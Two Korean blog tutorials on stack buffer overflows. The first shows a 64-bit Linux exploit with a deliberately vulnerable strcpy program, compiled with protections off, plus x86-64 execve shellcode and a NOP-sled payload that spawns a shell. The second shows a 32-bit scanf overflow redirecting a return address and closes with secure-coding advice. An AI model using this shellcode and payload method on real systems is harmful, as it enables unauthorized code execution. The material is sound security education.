/* 
written by kaspy (kaspyx@gmail.com)
*/ 

버퍼 오버플로우 공격기법이 등장한지도 꽤오래되었지만 64비트에서 공략하는 문서는 그리 많지않아서 정리하게되었다.

그냥... 64비트는 그환경특성상 exploit 하기 여러모로 굉장히 더어려워졌다.


1. 쉘코드

우선은 간단한거부터 말하자면 (당연한거지만) 64비트 리눅스 ELF 바이너리에서는 64비트 쉘코드를 써야한다는것이다. 


32비트 같은 경우에는 eax 레지스터에 0xb를 넣고 ebx에 "/bin/sh"의 문자열의 주소, ecx,edx에는 0을 넣은뒤 int 0x80 어셈블리를 실행하면 쉘이 쉘이 떴다. 


그러나 64비트에서는 syscall 이라는 어셈블리를 사용하고 rdi에 0x3b를 넣고, rsi와 rdx에 0을 넣은뒤 호출해야 쉘이 뜬다. 그러니 64비트 리눅스용 쉘코드를 검색해서 사용하도록 하자.


여기서는 구글링하여 여기의 쉘코드를 참조하였다.


2. 접근 주소범위


64비트 환경의 레지스터 크기는 8바이트이며 레지스터도 다르다.


근데 무엇보다 사용자가 접근할수 있는 주소는 첫 47비트까지이다. 


BoF를 일으켜서 ret등을 조작할때 0x00007fffffffffff 까지 가능하며 그보다 큰값이 들어오면 프로그램 예외가 발생하여 에러로 종료하게 된다. strcpy 함수 취약점을 공략하려해도 널바이트때문에 많은 제약사항이 생겨버렸다. 어떻게보면 강제적으로 ASCII 아머가 탑재되있다고봐도 무방하다.


3. 버퍼 오버플로우 기본


취약코드 샘플은 아래와 같다.

테스트환경: Ubuntu Linux 16.04 

  1. #include <stdio.h>                                                                          
  2.  
  3. int main(int argc, char *argv[])
  4. {
  5.   puts("This is 64bit bof vulnerable program");
  6.   char buf[256];
  7.  
  8.   if ( argc < 2)
  9.   {
  10.     return -1;
  11.   }
  12.  
  13.   strcpy(buf, argv[1]);
  14.   printf("You entered %s\n", buf);
  15.  
  16.   return 0;
  17. }
  18. //gcc -o bof64 bof64.c -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack
  19. //sysctl -w kernel.randomize_va_space=0

우선 기본적인것을 연습해야하니 ASLR과 NX를 끄고 테스트를 끄고 테스트하도록 하겠다.

페이로드는 (NoP + Shellcode) (256byte) + RBP (8byte) + RSP (8byte)로 볼수있다.

gdb를 통해 264바이트를 가득 채워서 strcpy를 통해 저장되는 주소를 확인해보도록하자.

r `python -c 'print "a" * 264' + "aaaaaaaa"`



쉘코드의 주소는 0x7fffffffdfb0 으로 확인되었다.

즉 아래와같이 파이썬을 통해 페이로드를 입력해주면 쉘이뜬다.

r `python -c 'print  "\x90"*100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

+"\x90"*137+ "\xb0\xdf\xff\xff\xff\x7f"'` 



 gdb 없이 실행해서 위의 Payload를 넣으면 실행되지 않을것이다. 왜냐하면 그냥 실행하면 gdb를 통해 실행하는것과 환경변수등이 달라서 쉘코드의 주소가 저장되는 버퍼의 주소가 달라지기 때문이다. 그러나 주소가 크게 달라지진 않으므로 gdb 주소 기준으로 주소를 증가시키면서 100바이트 내로 브루트포스하면 쉘이뜬다.  나는 아래와같이 gdb 기준으로 48 바이트 더했더니 쉘이 떳다.


./bof64 `python -c 'print  "\x90"*100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

+"\x90"*137+ "\xe0\xdf\xff\xff\xff\x7f"'`



4. RTL(Return to Library), ROP(Return Oriendted Programming)


RTL 같은경우는 pop rdi, ret 의 가젯을 찾은다음에 rdi에 "/bin/sh"의 주소를 이어로는 ret의 주소에는 system 함수주소를 넣어주면 된다. 



(사용할 gadget의 주소들이 0x00007fffffffffff 이하로 전부 null이 포함되어있다.)


그러나 예제의 strcpy 취약코드로는 RTL, ROP 기법을 사용하기 어려워졌다. 


왜냐하면 우리가 주입하는 페이로드는 47비트까지만 덮을수있어서 반드시 널바이트가 여러번 포함 되는데 그렇게되면 반복적인 스테이징 기법에 필요한 Payload를 사용할수 없기때문이다. 그래서 (read 함수등으로 인한 취약점이 아니라면)위에서 언급한 예제로는 공략이 불가능에 가깝다고본다. 그래서 이기법에 대해서는 따로 다루어보도록하겠다.


혹시 아는분이 있다면 알려주면 고맙겠습니다... :)



* 참고 링크


- http://crypto.stanford.edu/~blynn/rop/

http://hikai.tistory.com/7

http://lesh.tistory.com/32

http://shell-storm.org/shellcode/files/shellcode-806.php (쉘코드)

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 


정보보안 분야에서 버퍼오버플로우(Buffer Overflow) 해킹기법은 그 역사가 굉장히 오래되었고, 발생했을시에 굉장히 심각한 결함으로 이어질수 있는 취약점입니다. 


버퍼오버플로우 해킹기법의 최초 시발점은 1988년 모리스웜을 들수있습니다.  

네트워크를 통해 데이터를 입력받아 처리했던 당시의 컴퓨터는 웜에 의해 수천대의 컴퓨터가 감염되어 파괴되었고, 피해액만  100만달러가 넘었다고하네요.

버퍼오버플로우에 대한 간단한 정의를 하자면, 어떤 프로그램에 비정상적인 데이터를 많이 주입하여, 오류를 발생시키거나, 임의의 악성 코드를 실행하게 만드는 기법이라고 할수있습니다.(이하 BoF)

BoF 취약점은 포인터가 존재하는 c/c++ 및 c# 으로 작성된 프로그램 등에 존재하는 취약점입니다.

아래와 같은 간단한 소스코드를 봐보세요.

(해당 취약점은 우분투 리눅스 9.04 에서 테스트 하였습니다.)
  1. #include <stdio.h>
  2. void  foo(){
  3.    char name[5];
  4.    printf("enter name\n");
  5.    scanf("%s", name);
  6.    printf("you entered %s \n", name);
  7. }
  8. int main(){
  9.    foo();
  10.    printf("program ends here\n");
  11.    return 0;
  12. }
/* 컴파일 : gcc -o vuler vuler.c */

위의 소스를 컴파일 해서 실행해봅시다.

분명 foo() 함수에서 이름을 입력받고, main() 함수로 복귀한후에, program ends here 라는 문구가 출력되고 종료가 되어야합니다.

네글자를 입력했을때는 잘되는것처럼 보입니다. 그런데, 5글자 이상을 입력하는 순간 Segmentation fault 라는 에러가 나는군요. 과연 어디서 잘못되서 에러가 나는걸까요??

우선 scanf() 함수는 bof 취약점을 가진 함수입니다. 

무슨 말이냐하면, 입력받은 데이터의 크기를 고려하지않고 모두 복사해버린다는 것입니다. 

(이외에도, gets, sprintf, strcpy 등등의 함수등이 BoF 취약점을 가지고있습니다.)

gdb로 한번 확인해보겠습니다.


EBP (스택 베이스 포인터)를 기준으로 name이라는 지역변수 5바이트 공간을 확보하는것을 확인할수 있습니다.

그럼 프로그램이 실행되었을때, 메모리 레이아웃은 아래와 같이 되어있습니다.



여기서부터 어셈블리에 대해서 약간의 이해가 필요한데, 프로그램은 지역변수를 다룰때 (예를들어 foo() 함수내부의 name) 스택이라는 메모리를 사용하여 저장을 합니다. 지역 변수 이외에도, 함수 호출부의 복귀지점(RET) 및 함수 시작 베이스주소(EBP) 등을 저장하여 사용하고 있습니다. 

여기서 RET 변수는 foo() 함수가 끝나고

  1.    printf("program ends here\n");

의 주소라고 생각할수 있겠죠??

그런데 문제는 스택 메모리 영역에 잡힌 name의 사이즈 크기보다 많은 데이터가 입력되었을 경우입니다.



foo() 함수가 호출되고 ret문은 어디일까요?? 바로 0x0804874 입니다.

"kim" 을 입력하였을때, 메모리 레이아웃은 아래와 같이 나온다고 할수 있습니다.



그렇다면 name 버퍼 지역변수가 잡힌 크기를 입력하면 어떻게될까요?? 

aaaaa...를 쭈욱 입력하였을 경우 foo함수가 실행되었을떄 아래와같이 메모리 레이아웃이 잡히게 되버립니다.

(우선 여기서 EBP 레지스터는 크게 중요하지않으므로, EBP 설명은 생략하겠습니다.)



문제는 위에서처럼 함수의 복귀지점 (RET) 부가 "aaaa" 로 뒤덮여버렸기 때문에 발생합니다. 

컴퓨터는 문자열도 결국 숫자로 다루기 때문에 foo() 함수가 끝나고 복귀지점이 0x41414141 ('a' = 0x41) 로 점프를 하게되고, 이주소는 전혀 모르는 주소이기 때문에 프로그램은 오류가 발생하는것입니다.

여기서 우리는 사용자의 입력을 통해서 프로그램의 흐름을 임의로 바꿀수 있다는 힌트를 얻을수 있습니다.

우리의 입력을 통해서 foo() 함수를 2번 출력할수 있을까요??, 네 가능합니다.


간단한 계산이 필요한데, 우선

5바이트의 지역버퍼 및 그위에 EBP의 값 4바이트를 AAAA로 밀어버립니다.

그다음에, 우리가 원하는 다음 실행주소를 입력해주면 되는것입니다.

페이로드는 아래와 같이 계산할수 있습니다.


5(name) + 4(EBP) + RET


우리가 원하는 foo() 함수를 한번더 실행하기 위해 foo() 함수의 주소값을 RET에 넣도록 하겠습니다.

그런데 값을 넣을때는 Intell 구조는 리틀 엔디안 방식을 사용하기 때문에 거꾸로 넣어줘야 합니다.

0x0804874라면 "\x74\x48\x04\x08" 이런식으로요.


perl -e 'print "a"x9,"\x74\x48\x04\x08"' > exploit


으로 파일을 만들어서 

 

./vuler < exploit 


이렇게 실행해주면 됩니다.

foo() 함수가 두번 실행되네요!



이로써 프로그램 사용자의 입력을 통해서, 취약한 프로그램의 임의의 코드루틴을 실행할수 있다는것을 확인하였습니다.

사용자가 임의로 주입한 코드도 실행가능하다는 소리입니다.

악의적인 사용자는 프로그램의 취약점을 파악한뒤, 임의의 악성코드를 입력하여, 실행하는 방법으로 해킹을 합니다.

그렇다면 이러한 취약점을 어떻게 예방할수 있을까요??

네 바로 scanf() 함수대신, 버퍼의 길이를 체크해주는 fscanf(), strcpy() 함수대신 strncpy() 함수를 사용하는 것입니다.

시큐어 코딩가이드 에서는 버퍼의길이를 체크하지않은채 메모리 복사를 진행하는 함수에대해 사용하지 말것을 권고하고있습니다.


신고
Posted by 캐스피


티스토리 툴바